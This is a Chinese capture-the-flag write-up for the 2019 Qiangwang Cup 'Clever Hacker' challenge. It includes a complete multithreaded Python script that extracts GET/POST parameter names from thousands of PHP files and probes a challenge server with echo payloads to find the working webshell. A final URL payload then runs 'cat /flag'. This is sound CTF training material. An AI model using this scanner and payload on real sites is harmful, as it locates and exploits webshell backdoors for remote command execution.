CTF题目《高明的黑客》(强网杯 2019)Write up

发布于:2025-03-29 ⋅ 阅读:(28) ⋅ 点赞:(0)

一、题目背景

题目提供一个被黑网站,提示源码位于/www.tar.gz。下载该文件后发现包含3000+个PHP文件,每个文件中均存在看似可利用的WebShell代码片段(如eval($_GET[...])system($_POST[...])),但实际只有特定文件中的特定参数可被利用。需要通过脚本自动化筛选出真正有效的WebShell路径。


二、核心解题思路

  1. 文件遍历:遍历所有PHP文件,提取每个文件中的$_GET$_POST参数名。
  2. 参数有效性验证:构造包含测试命令(如echo xxxxxx)的请求,检测回显是否包含预期字符串。
  3. 多线程优化:因文件数量庞大,需使用多线程加速扫描。

三、详细解题步骤

1. 获取源码并分析
  • 访问/www.tar.gz下载源码包,解压后得到数千个PHP文件。
  • 任意打开一个文件(如xk0SzyKwfzw.php)观察代码结构,发现类似以下片段:
    if ($_GET['_d1sPl@y_'] === 'flag') {
        eval($_POST['_G3ET_IT_']);
    }
    
    但并非所有参数都有效,需筛选实际可用的参数。
2. 编写自动化扫描脚本

核心逻辑

  • 正则提取参数:通过正则表达式\$_GET\[\'(.*?)\'\]\$_POST\[\'(.*?)\'\]匹配所有参数名。如:$_GET['_d1sPl@y_']$_POST['_G3ET_IT_']
  • 批量请求测试:对每个参数发送包含echo xxxxxx的请求,检测响应中是否包含xxxxxx
  • 多线程加速:使用threading.Semaphore控制并发线程数(建议100-200线程)。

完整Python代码

# 导入所需库
import os         # 文件系统操作
import requests   # HTTP请求库
import re         # 正则表达式
import threading  # 多线程支持
import time       # 时间处理
from requests_ratelimiter import LimiterSession  # 限流请求会话

# 创建线程锁保证控制台输出完整性
print_lock = threading.Lock()

# 带锁保护的启动时间输出
with print_lock:
    # 格式化显示扫描开始时间
    print('[*] 扫描启动 {}'.format(time.asctime(time.localtime(time.time())))) 

# 设置最大并发信号量(限制100个并发线程)
s1 = threading.Semaphore(100)
# 定义目标文件路径
filePath = r"C:/Users/Hum8le/Desktop/做题环境/src"
# 切换工作目录
os.chdir(filePath)
# 配置请求重试次数
requests.adapters.DEFAULT_RETRIES = 5
# 获取文件列表
files = os.listdir(filePath)
# 创建限流会话(每秒10个请求)
session = LimiterSession(per_second=10)
# 禁用保持连接
session.keep_alive = False

def get_content(file):
    # 获取信号量(控制并发)
    s1.acquire()
    try:
        # 读取并分析PHP文件
        with open(file, encoding='utf-8') as f:
            # 使用正则匹配所有$_GET参数
            gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
            # 回退文件指针并匹配所有$_POST参数
            f.seek(0)
            posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
        
        # 构造测试用的POST数据和GET参数
        data = {}   # POST数据字典
        params = {} # GET参数字典
        # 为每个GET参数添加测试payload
        for m in gets:
            params[m] = "echo 'xxxxxx';"
        # 为每个POST参数添加测试payload
        for n in posts:
            data[n] = "echo 'xxxxxx';"
        
        # 构造目标URL
        url = 'http://44e0b16b-5b74-45a3-b1af-5452da71aba0.node5.buuoj.cn:81/' + file
        # 发送组合请求
        req = session.post(url, data=data, params=params)
        req.close()
        req.encoding = 'utf-8'
        content = req.text
        
        # 验证是否存在漏洞
        if "xxxxxx" in content:
            flag = 0
            # 单独测试GET参数
            for get in gets:
                req = session.get(url + '?' + get + '=' + "echo 'xxxxxx';")
                content = req.text
                req.close()
                if "xxxxxx" in content:
                    flag = 1
                    break
            
            # 如果GET无漏洞,测试POST参数
            if flag != 1:
                for post in posts:
                    req = session.post(url, data={post: "echo 'xxxxxx';"})
                    content = req.text
                    req.close()
                    if "xxxxxx" in content:
                        break
            
            # 确定参数类型
            if flag == 1:
                param_type = 'GET'
                param = get
            else:
                param_type = 'POST'
                param = post
            
            # 带锁保护的漏洞输出
            with print_lock:
                current_time = time.strftime("%H:%M:%S")
                print('[+] 漏洞确认 文件: {}'.format(file))
                print('   参数类型: {} 参数名: {}'.format(param_type, param))
                print('   验证时间: {}'.format(current_time))
                
    except Exception as e:
        # 异常处理
        with print_lock:
            print('[!] 文件处理异常: {} - {}'.format(file, str(e)))
    finally:
        # 释放信号量
        s1.release()

# 创建并启动多个线程处理文件
for i in files:
   t = threading.Thread(target=get_content, args=(i,))
   t.start()

处理结果

[*] 扫描启动 Wed Mar 26 11:48:49 2025
[+] 漏洞确认 文件: xk0SzyKwfzw.php
   参数类型: GET 参数名: Efa5BVG
   验证时间: 11:53:50
3.构造payload
http://a0bd86ab-c687-4eeb-8f43-737ab2ec402b.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag

四、关键点解析

  1. 正则匹配优化
    使用非贪婪模式(.*?)精确匹配参数名,避免误提取无关代码。

  2. PHP版本兼容性
    PHP 7.x中assert函数无法直接执行代码,需优先测试evalsystem相关的参数。

  3. 性能优化技巧

    • 关闭请求对象释放内存(req.close())。
    • 线程数根据服务器性能调整,过高可能导致超时。